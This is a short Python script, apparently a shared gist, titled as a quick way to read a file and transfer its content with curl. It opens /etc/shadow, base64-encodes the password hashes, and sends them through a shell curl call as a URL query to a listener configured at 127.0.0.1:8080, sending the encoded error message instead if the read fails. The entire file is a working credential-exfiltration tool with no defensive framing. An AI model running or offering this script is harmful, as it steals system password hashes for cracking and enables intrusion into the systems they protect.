quick script to read a file and transfer content using curl

curl_read_send.py

# -------------------------------------------------------------
# quick script to read a file and transfer content using curl
# by @_hddananjaya
# -------------------------------------------------------------

import base64
import os

HTTPD = "127.0.0.1:8080"

def curl(msg):
        os.system("curl http://{}/?={}".format(HTTPD,msg))

try:
        file = open("/etc/shadow", "r")
except Exception as e:
        # send err and exit
        err = base64.b64encode(str(e))
        curl(err)
        exit()

file_content = file.read()
content_b64  = base64.b64encode(file_content)
file.close()
curl(content_b64)